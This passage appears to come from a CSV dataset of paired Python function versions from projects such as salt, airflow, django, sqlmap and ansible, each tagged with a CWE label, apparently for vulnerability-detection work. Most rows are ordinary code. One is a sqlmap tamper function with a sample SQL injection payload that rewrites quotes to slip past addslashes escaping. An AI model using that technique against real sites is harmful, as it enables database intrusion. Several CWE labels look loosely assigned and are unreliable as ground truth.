        name=""Audit User Account Management"", setting=setting, policy_class=""machine""
    )
    # Clear the context so we're getting the actual settings from the machine
    result = win_lgpo_module._get_advaudit_value(
        ""Audit User Account Management"", refresh=True
    )
    assert result == expected",CWE-703,saltstack/salt,a8eb48f7a2ab8e24f38ea99159da0ce123e1ce0b,"def _test_adv_auditing(setting, expected):
    """"""
    Helper function to set an audit setting and assert that it was successful
    """"""
    win_lgpo_state.set_(
        name=""Audit User Account Management"", setting=setting, policy_class=""machine""
    )
    # Clear the context so we're getting the actual settings from the machine
    result = win_lgpo_module._get_advaudit_value(""Audit User Account Management"", refresh=True)
    assert result == expected"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/cli/commands/test_plugins_command.py,1,"def test_should_display_one_plugin(self):
        with redirect_stdout(io.StringIO()) as temp_stdout:
            plugins_command.dump_plugins(self.parser.parse_args([""plugins"", ""--output=json""]))
            stdout = temp_stdout.getvalue()
        print(stdout)
        info = json.loads(stdout)
        assert info == [
            {
                ""name"": ""test_plugin"",
                ""admin_views"": [],
                ""macros"": [""unit.plugins.test_plugin.plugin_macro""],
                ""menu_links"": [],
                ""flask_blueprints"": [
                    ""<flask.blueprints.Blueprint: name='test_plugin' import_name='unit.plugins.test_plugin'>""
                ],
                ""fastapi_apps"": [
                    {
                        ""app"": ""fastapi.applications.FastAPI"",
                        ""url_prefix"": ""/some_prefix"",
                        ""name"": ""Name of the App"",
                    }
                ],
                ""fastapi_root_middlewares"": [
                    {
                        ""middleware"": ""unit.plugins.test_plugin.DummyMiddleware"",
                        ""name"": ""Name of the Middleware"",
                    }
                ],
                ""appbuilder_views"": [
                    {
                        ""name"": ""Test View"",
                        ""category"": ""Test Plugin"",
                        ""label"": ""Test Label"",
                        ""view"": ""unit.plugins.test_plugin.PluginTestAppBuilderBaseView"",
                    }
                ],
                ""global_operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.AirflowLink object>"",
                    ""<tests_common.test_utils.mock_operators.GithubLink object>"",
                ],
                ""timetables"": [""unit.plugins.test_plugin.CustomCronDataIntervalTimetable""],
                ""operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.GoogleLink object>"",
                    ""<tests_common.test_utils.mock_operators.AirflowLink2 object>"",
                    ""<tests_common.test_utils.mock_operators.CustomOpLink object>"",
                    ""<tests_common.test_utils.mock_operators.CustomBaseIndexOpLink object>"",
                ],
                ""listeners"": [
                    ""unit.listeners.empty_listener"",
                    ""unit.listeners.class_listener.ClassBasedListener"",
                ],
                ""source"": None,
                ""appbuilder_menu_items"": [
                    {""name"": ""Google"", ""href"": ""https://www.google.com"", ""category"": ""Search""},
                    {
                        ""name"": ""apache"",
                        ""href"": ""https://www.apache.org/"",
                        ""label"": ""The Apache Software Foundation"",
                    },
                ],
                ""priority_weight_strategies"": [""unit.plugins.test_plugin.CustomPriorityWeightStrategy""],
            }
        ]
        get_listener_manager().clear()",CWE-703,apache/airflow,ba0d3cd77331d27f39d7e69748c8a0865daf9b87,"def test_should_display_one_plugin(self):
        with redirect_stdout(io.StringIO()) as temp_stdout:
            plugins_command.dump_plugins(self.parser.parse_args([""plugins"", ""--output=json""]))
            stdout = temp_stdout.getvalue()
        print(stdout)
        info = json.loads(stdout)
        assert info == [
            {
                ""name"": ""test_plugin"",
                ""admin_views"": [],
                ""macros"": [""unit.plugins.test_plugin.plugin_macro""],
                ""menu_links"": [],
                ""flask_blueprints"": [
                    ""<flask.blueprints.Blueprint: name='test_plugin' import_name='unit.plugins.test_plugin'>""
                ],
                ""fastapi_apps"": [
                    {
                        ""app"": ""fastapi.applications.FastAPI"",
                        ""url_prefix"": ""/some_prefix"",
                        ""name"": ""Name of the App"",
                    }
                ],
                ""appbuilder_views"": [
                    {
                        ""name"": ""Test View"",
                        ""category"": ""Test Plugin"",
                        ""label"": ""Test Label"",
                        ""view"": ""unit.plugins.test_plugin.PluginTestAppBuilderBaseView"",
                    }
                ],
                ""global_operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.AirflowLink object>"",
                    ""<tests_common.test_utils.mock_operators.GithubLink object>"",
                ],
                ""timetables"": [""unit.plugins.test_plugin.CustomCronDataIntervalTimetable""],
                ""operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.GoogleLink object>"",
                    ""<tests_common.test_utils.mock_operators.AirflowLink2 object>"",
                    ""<tests_common.test_utils.mock_operators.CustomOpLink object>"",
                    ""<tests_common.test_utils.mock_operators.CustomBaseIndexOpLink object>"",
                ],
                ""listeners"": [
                    ""unit.listeners.empty_listener"",
                    ""unit.listeners.class_listener.ClassBasedListener"",
                ],
                ""source"": None,
                ""appbuilder_menu_items"": [
                    {""name"": ""Google"", ""href"": ""https://www.google.com"", ""category"": ""Search""},
                    {
                        ""name"": ""apache"",
                        ""href"": ""https://www.apache.org/"",
                        ""label"": ""The Apache Software Foundation"",
                    },
                ],
                ""priority_weight_strategies"": [""unit.plugins.test_plugin.CustomPriorityWeightStrategy""],
            }
        ]
        get_listener_manager().clear()"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/test_aptpkg.py,1,"def test_aptpkg_remove_wildcard():
    aptpkg.install(pkgs=[""nginx-doc"", ""nginx-light""])
    ret = aptpkg.remove(name=""nginx-*"")
    assert not ret[""nginx-light""][""new""]
    assert ret[""nginx-light""][""old""]
    assert not ret[""nginx-doc""][""new""]
    assert ret[""nginx-doc""][""old""]",CWE-703,saltstack/salt,15f9f585f095e49d3677276943e73a45ed103635,"def test_aptpkg_remove_wildcard():
    aptpkg.install(pkgs=[""nginx-doc"", ""nginx-light""])
    ret = aptpkg.remove(name=""nginx-*"")
    assert not ret[""nginx-light""][""new""]
    assert ret[""nginx-light""][""old""]
    assert not ret[""nginx-doc""][""new""]
    assert ret[""nginx-doc""][""old""]"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
                ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
                ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        self.remove_inherited_models()
        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            table, _, join_type, lhs, join_cols, nullable, join_field = rhs.alias_map[alias]
            promote = (join_type == self.LOUTER)
            # If the left side of the join was already relabeled, use the
            # updated alias.
            lhs = change_map.get(lhs, lhs)
            new_alias = self.join(
                (lhs, table, join_cols), reuse=reuse,
                outer_if_first=not conjunction, nullable=nullable,
                join_field=join_field)
            if promote:
                self.promote_joins([new_alias])
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)

        # So that we don't exclude valid results in an OR query combination,
        # all joins exclusive to either the lhs or the rhs must be converted
        # to an outer join. RHS joins were already set to outer joins above,
        # so check which joins were used only in the lhs query.
        if not conjunction:
            rhs_used_joins = set(change_map.values())
            to_promote = [alias for alias in self.tables
                          if alias not in rhs_used_joins]
            self.promote_joins(to_promote)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col, field in rhs.select:
            if isinstance(col, (list, tuple)):
                new_col = change_map.get(col[0], col[0]), col[1]
                self.select.append(SelectInfo(new_col, field))
            else:
                new_col = col.relabeled_clone(change_map)
                self.select.append(SelectInfo(new_col, field))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self.extra and rhs.extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by[:] if rhs.order_by else self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by",CWE-703,django/django,c7739e30b20f55c2b055b12a628bfb5c2228ba4e,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
                ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
                ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        self.remove_inherited_models()
        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            table, _, join_type, lhs, join_cols, nullable, join_field = rhs.alias_map[alias]
            promote = (join_type == self.LOUTER)
            # If the left side of the join was already relabeled, use the
            # updated alias.
            lhs = change_map.get(lhs, lhs)
            new_alias = self.join(
                (lhs, table, join_cols), reuse=reuse,
                outer_if_first=not conjunction, nullable=nullable,
                join_field=join_field)
            if promote:
                self.promote_joins([new_alias])
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)

        # So that we don't exclude valid results in an OR query combination,
        # all joins exclusive to either the lhs or the rhs must be converted
        # to an outer join. RHS joins were already set to outer joins above,
        # so check which joins were used only in the lhs query.
        if not conjunction:
            rhs_used_joins = set(change_map.values())
            to_promote = [alias for alias in self.tables
                          if alias not in rhs_used_joins]
            self.promote_joins(to_promote, True)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col, field in rhs.select:
            if isinstance(col, (list, tuple)):
                new_col = change_map.get(col[0], col[0]), col[1]
                self.select.append(SelectInfo(new_col, field))
            else:
                new_col = col.relabeled_clone(change_map)
                self.select.append(SelectInfo(new_col, field))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self.extra and rhs.extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by[:] if rhs.order_by else self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,tamper/unmagicquotes.py,0,"def tamper(payload, **kwargs):
    """"""
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    >>> tamper(""1' AND 1=1"")
    '1%bf%27 AND 1=1-- '
    """"""

    retVal = payload

    if payload:
        found = False
        retVal = """"

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += ""%bf%27""
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(""\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*"", """", retVal)
            if _ != retVal:
                retVal = _
                retVal += ""-- ""

    return retVal",,sqlmapproject/sqlmap,dac386735aab080ee23ef2d01be3cea19a2144e9,"def tamper(payload, **kwargs):
    """"""
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    >>> tamper(""1' AND 1=1"")
    '1%bf%27 AND 1=1-- '
    """"""

    retVal = payload

    if payload:
        found = False
        retVal = """"

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += ""%bf%27""
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            retVal = re.sub(""\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*"", """", retVal)
            retVal += ""-- ""

    return retVal"
,UNKNOWN,UNKNOWN,tests/unit/utils/vt_test.py,1,"def test_vt_size(self):
        '''Confirm that the terminal size is being set'''
        if not sys.stdin.isatty():
            self.skipTest('Not attached to a TTY. The test would fail.')
        cols = random.choice(range(80, 250))
        terminal = vt.Terminal(
            'echo ""Foo!""',
            shell=True,
            cols=cols,
            rows=24,
            stream_stdout=False,
            stream_stderr=False
        )
        # First the assertion
        self.assertEqual(
            terminal.getwinsize(), (24, cols)
        )
        # Then wait for the terminal child to exit
        terminal.wait()
        terminal.close()",CWE-330,saltstack/salt,57b000d215582e4e98a485b8eeb150094787137d,"def test_vt_size(self):
        '''Confirm that the terminal size is being set'''
        if not sys.stdin.isatty():
            self.skipTest('Not attached to a TTY. The test would fail.')
        cols = random.choice(range(80, 250))
        terminal = vt.Terminal(
            'echo ""Foo!""',
            shell=True,
            cols=cols,
            rows=24,
            stream_stdout=False,
            stream_stderr=False
        )
        # First the assertion
        self.assertEqual(
            terminal.getwinsize(), (24, cols)
        )
        # Then wait for the terminal child to exit
        terminal.wait()
        terminal.close()"
,UNKNOWN,UNKNOWN,helm_tests/webserver/test_webserver.py,1,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""webserver"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/webserver/webserver-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True",CWE-703,apache/airflow,550ebe8176a7f54c036e3ae2d25b5b390a4ba7a9,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""webserver"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/webserver/webserver-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/linear.py,0,"def _get_next_task_lockstep(self, hosts, iterator):
        '''
        Returns a list of (host, task) tuples, where the task may
        be a noop task to keep the iterator in lock step across
        all hosts.
        '''

        noop_task = Task()
        noop_task.action = 'meta'
        noop_task.args['_raw_params'] = 'noop'
        noop_task.set_loader(iterator._play._loader)

        host_tasks = {}
        display.debug(""building list of next tasks for hosts"")
        for host in hosts:
            if not iterator.is_failed(host):
                host_tasks[host.name] = iterator.get_next_task_for_host(host, peek=True)
        display.debug(""done building task lists"")

        num_setups = 0
        num_tasks  = 0
        num_rescue = 0
        num_always = 0

        lowest_cur_block = len(iterator._blocks)

        display.debug(""counting tasks in each state of execution"")
        for (k, v) in iteritems(host_tasks):
            if v is None:
                continue

            (s, t) = v
            if t is None:
                continue

            if s.cur_block < lowest_cur_block and s.run_state != PlayIterator.ITERATING_COMPLETE:
                lowest_cur_block = s.cur_block

            if s.run_state == PlayIterator.ITERATING_SETUP:
                num_setups += 1
            elif s.run_state == PlayIterator.ITERATING_TASKS:
                num_tasks += 1
            elif s.run_state == PlayIterator.ITERATING_RESCUE:
                num_rescue += 1
            elif s.run_state == PlayIterator.ITERATING_ALWAYS:
                num_always += 1
        display.debug(""done counting tasks in each state of execution"")

        def _advance_selected_hosts(hosts, cur_block, cur_state):
            '''
            This helper returns the task for all hosts in the requested
            state, otherwise they get a noop dummy task. This also advances
            the state of the host, since the given states are determined
            while using peek=True.
            '''
            # we return the values in the order they were originally
            # specified in the given hosts array
            rvals = []
            display.debug(""starting to advance hosts"")
            for host in hosts:
                host_state_task = host_tasks.get(host.name)
                if host_state_task is None:
                    continue
                (s, t) = host_state_task
                if t is None:
                    continue
                if s.run_state == cur_state and s.cur_block == cur_block:
                    new_t = iterator.get_next_task_for_host(host)
                    rvals.append((host, t))
                else:
                    rvals.append((host, noop_task))
            display.debug(""done advancing hosts to next task"")
            return rvals

        # if any hosts are in ITERATING_SETUP, return the setup task
        # while all other hosts get a noop
        if num_setups:
            display.debug(""advancing hosts in ITERATING_SETUP"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_SETUP)

        # if any hosts are in ITERATING_TASKS, return the next normal
        # task for these hosts, while all other hosts get a noop
        if num_tasks:
            display.debug(""advancing hosts in ITERATING_TASKS"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_TASKS)

        # if any hosts are in ITERATING_RESCUE, return the next rescue
        # task for these hosts, while all other hosts get a noop
        if num_rescue:
            display.debug(""advancing hosts in ITERATING_RESCUE"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_RESCUE)

        # if any hosts are in ITERATING_ALWAYS, return the next always
        # task for these hosts, while all other hosts get a noop
        if num_always:
            display.debug(""advancing hosts in ITERATING_ALWAYS"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_ALWAYS)

        # at this point, everything must be ITERATING_COMPLETE, so we
        # return None for all hosts in the list
        display.debug(""all hosts are done, so returning None's for all hosts"")
        return [(host, None) for host in hosts]",,ansible/ansible,210cf06d9ac8e62b15d6f34e9c63c1b98986a1d5,"def _get_next_task_lockstep(self, hosts, iterator):
        '''
        Returns a list of (host, task) tuples, where the task may
        be a noop task to keep the iterator in lock step across
        all hosts.
        '''

        noop_task = Task()
        noop_task.action = 'meta'
        noop_task.args['_raw_params'] = 'noop'
        noop_task.set_loader(iterator._play._loader)

        host_tasks = {}
        display.debug(""building list of next tasks for hosts"")
        for host in hosts:
            host_tasks[host.name] = iterator.get_next_task_for_host(host, peek=True)
        display.debug(""done building task lists"")

        num_setups = 0
        num_tasks  = 0
        num_rescue = 0
        num_always = 0

        lowest_cur_block = len(iterator._blocks)

        display.debug(""counting tasks in each state of execution"")
        for (k, v) in iteritems(host_tasks):
            if v is None:
                continue

            (s, t) = v
            if t is None:
                continue

            if s.cur_block < lowest_cur_block and s.run_state != PlayIterator.ITERATING_COMPLETE:
                lowest_cur_block = s.cur_block

            if s.run_state == PlayIterator.ITERATING_SETUP:
                num_setups += 1
            elif s.run_state == PlayIterator.ITERATING_TASKS:
                num_tasks += 1
            elif s.run_state == PlayIterator.ITERATING_RESCUE:
                num_rescue += 1
            elif s.run_state == PlayIterator.ITERATING_ALWAYS:
                num_always += 1
        display.debug(""done counting tasks in each state of execution"")

        def _advance_selected_hosts(hosts, cur_block, cur_state):
            '''
            This helper returns the task for all hosts in the requested
            state, otherwise they get a noop dummy task. This also advances
            the state of the host, since the given states are determined
            while using peek=True.
            '''
            # we return the values in the order they were originally
            # specified in the given hosts array
            rvals = []
            display.debug(""starting to advance hosts"")
            for host in hosts:
                host_state_task = host_tasks[host.name]
                if host_state_task is None:
                    continue
                (s, t) = host_state_task
                if t is None:
                    continue
                if s.run_state == cur_state and s.cur_block == cur_block:
                    new_t = iterator.get_next_task_for_host(host)
                    rvals.append((host, t))
                else:
                    rvals.append((host, noop_task))
            display.debug(""done advancing hosts to next task"")
            return rvals

        # if any hosts are in ITERATING_SETUP, return the setup task
        # while all other hosts get a noop
        if num_setups:
            display.debug(""advancing hosts in ITERATING_SETUP"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_SETUP)

        # if any hosts are in ITERATING_TASKS, return the next normal
        # task for these hosts, while all other hosts get a noop
        if num_tasks:
            display.debug(""advancing hosts in ITERATING_TASKS"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_TASKS)

        # if any hosts are in ITERATING_RESCUE, return the next rescue
        # task for these hosts, while all other hosts get a noop
        if num_rescue:
            display.debug(""advancing hosts in ITERATING_RESCUE"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_RESCUE)

        # if any hosts are in ITERATING_ALWAYS, return the next always
        # task for these hosts, while all other hosts get a noop
        if num_always:
            display.debug(""advancing hosts in ITERATING_ALWAYS"")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_ALWAYS)

        # at this point, everything must be ITERATING_COMPLETE, so we
        # return None for all hosts in the list
        display.debug(""all hosts are done, so returning None's for all hosts"")
        return [(host, None) for host in hosts]"
,UNKNOWN,UNKNOWN,tests/tracing/test_trace_manager.py,1,"def test_add_spans():
    trace_manager = InMemoryTraceManager.get_instance()

    exp_id_1 = mlflow.set_experiment(""test_experiment_1"").experiment_id
    request_id_1 = ""tr-1""
    span_1_1 = _create_test_span(request_id_1, ""span_1_1"")
    span_1_1_1 = _create_test_span(request_id_1, ""span_1_1_1"", parent_span_id=""span_1_1"")
    span_1_1_2 = _create_test_span(request_id_1, ""span_1_1_2"", parent_span_id=""span_1_1"")

    # Add a span for a new trace
    trace_manager.add_or_update_span(span_1_1)

    assert request_id_1 in trace_manager._traces
    assert len(trace_manager._traces[request_id_1].span_dict) == 1

    # Add more spans to the same trace
    trace_manager.add_or_update_span(span_1_1_1)
    trace_manager.add_or_update_span(span_1_1_2)

    assert len(trace_manager._traces[request_id_1].span_dict) == 3

    # Add a span for another trace under the different experiment
    exp_id_2 = mlflow.set_experiment(""test_experiment_2"").experiment_id
    request_id_2 = ""tr-2""
    span_2_1 = _create_test_span(request_id_2, ""span_2_1"")
    span_2_1_1 = _create_test_span(request_id_2, ""span_2_1_1"", parent_span_id=""span_2_1"")

    trace_manager.add_or_update_span(span_2_1)
    trace_manager.add_or_update_span(span_2_1_1)

    assert request_id_2 in trace_manager._traces
    assert len(trace_manager._traces[request_id_2].span_dict) == 2

    # Pop the trace data
    trace = trace_manager.pop_trace(request_id_1)
    assert isinstance(trace, Trace)
    assert trace.trace_info.request_id == request_id_1
    assert trace.trace_info.experiment_id == exp_id_1
    assert len(trace.trace_data.spans) == 3
    assert request_id_1 not in trace_manager._traces

    trace = trace_manager.pop_trace(request_id_2)
    assert isinstance(trace, Trace)
    assert trace.trace_info.request_id == request_id_2
    assert trace.trace_info.experiment_id == exp_id_2
    assert len(trace.trace_data.spans) == 2
    assert request_id_2 not in trace_manager._traces

    # Pop a trace that does not exist
    assert trace_manager.pop_trace(""tr-3"") is None",CWE-703,mlflow/mlflow,66b02cbec463a7179ab6ac2860dd64553afb74d8,"def test_add_spans():
    trace_manager = InMemoryTraceManager.get_instance()

    exp_id_1 = mlflow.set_experiment(""test_experiment_1"").experiment_id
    request_id_1 = ""trace_1""
    span_1_1 = _create_test_span(request_id_1, ""span_1_1"")
    span_1_1_1 = _create_test_span(request_id_1, ""span_1_1_1"", parent_span_id=""span_1_1"")
    span_1_1_2 = _create_test_span(request_id_1, ""span_1_1_2"", parent_span_id=""span_1_1"")

    # Add a span for a new trace
    trace_manager.add_or_update_span(span_1_1)

    assert request_id_1 in trace_manager._traces
    assert len(trace_manager._traces[request_id_1].span_dict) == 1

    # Add more spans to the same trace
    trace_manager.add_or_update_span(span_1_1_1)
    trace_manager.add_or_update_span(span_1_1_2)

    assert len(trace_manager._traces[request_id_1].span_dict) == 3

    # Add a span for another trace under the different experiment
    exp_id_2 = mlflow.set_experiment(""test_experiment_2"").experiment_id
    request_id_2 = ""trace_2""
    span_2_1 = _create_test_span(request_id_2, ""span_2_1"")
    span_2_1_1 = _create_test_span(request_id_2, ""span_2_1_1"", parent_span_id=""span_2_1"")

    trace_manager.add_or_update_span(span_2_1)
    trace_manager.add_or_update_span(span_2_1_1)

    assert request_id_2 in trace_manager._traces
    assert len(trace_manager._traces[request_id_2].span_dict) == 2

    # Pop the trace data
    trace = trace_manager.pop_trace(request_id_1)
    assert isinstance(trace, Trace)
    assert trace.trace_info.request_id == request_id_1
    assert trace.trace_info.experiment_id == exp_id_1
    assert len(trace.trace_data.spans) == 3
    assert request_id_1 not in trace_manager._traces

    trace = trace_manager.pop_trace(request_id_2)
    assert isinstance(trace, Trace)
    assert trace.trace_info.request_id == request_id_2
    assert trace.trace_info.experiment_id == exp_id_2
    assert len(trace.trace_data.spans) == 2
    assert request_id_2 not in trace_manager._traces

    # Pop a trace that does not exist
    assert trace_manager.pop_trace(""trace_3"") is None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs.py,0,"def _collect_errors(self, ti_status, session=None):
        err = ''
        if ti_status.failed:
            err += (
                ""---------------------------------------------------\n""
                ""Some task instances failed:\n{}\n"".format(ti_status.failed))
        if ti_status.deadlocked:
            err += (
                '---------------------------------------------------\n'
                'BackfillJob is deadlocked.')
            deadlocked_depends_on_past = any(
                t.are_dependencies_met(
                    dep_context=DepContext(ignore_depends_on_past=False),
                    session=session,
                    verbose=True) !=
                t.are_dependencies_met(
                    dep_context=DepContext(ignore_depends_on_past=True),
                    session=session,
                    verbose=True)
                for t in ti_status.deadlocked)
            if deadlocked_depends_on_past:
                err += (
                    'Some of the deadlocked tasks were unable to run because '
                    'of ""depends_on_past"" relationships. Try running the '
                    'backfill with the option '
                    '""ignore_first_depends_on_past=True"" or passing ""-I"" at '
                    'the command line.')
            err += ' These tasks have succeeded:\n{}\n'.format(ti_status.succeeded)
            err += ' These tasks have started:\n{}\n'.format(ti_status.started)
            err += ' These tasks have failed:\n{}\n'.format(ti_status.failed)
            err += ' These tasks are skipped:\n{}\n'.format(ti_status.skipped)
            err += ' These tasks are deadlocked:\n{}\n'.format(ti_status.deadlocked)

        return err",CWE-Unknown,apache/airflow,1bf5411808fc54fea613b5e27bd72fed9afdc6f5,"def _collect_errors(self, ti_status, session=None):
        err = ''
        if ti_status.failed:
            err += (
                ""---------------------------------------------------\n""
                ""Some task instances failed:\n%s\n"".format(ti_status.failed))
        if ti_status.deadlocked:
            err += (
                '---------------------------------------------------\n'
                'BackfillJob is deadlocked.')
            deadlocked_depends_on_past = any(
                t.are_dependencies_met(
                    dep_context=DepContext(ignore_depends_on_past=False),
                    session=session,
                    verbose=True) !=
                t.are_dependencies_met(
                    dep_context=DepContext(ignore_depends_on_past=True),
                    session=session,
                    verbose=True)
                for t in ti_status.deadlocked)
            if deadlocked_depends_on_past:
                err += (
                    'Some of the deadlocked tasks were unable to run because '
                    'of ""depends_on_past"" relationships. Try running the '
                    'backfill with the option '
                    '""ignore_first_depends_on_past=True"" or passing ""-I"" at '
                    'the command line.')
            err += ' These tasks have succeeded:\n{}\n'.format(ti_status.succeeded)
            err += ' These tasks have started:\n{}\n'.format(ti_status.started)
            err += ' These tasks have failed:\n{}\n'.format(ti_status.failed)
            err += ' These tasks are skipped:\n{}\n'.format(ti_status.skipped)
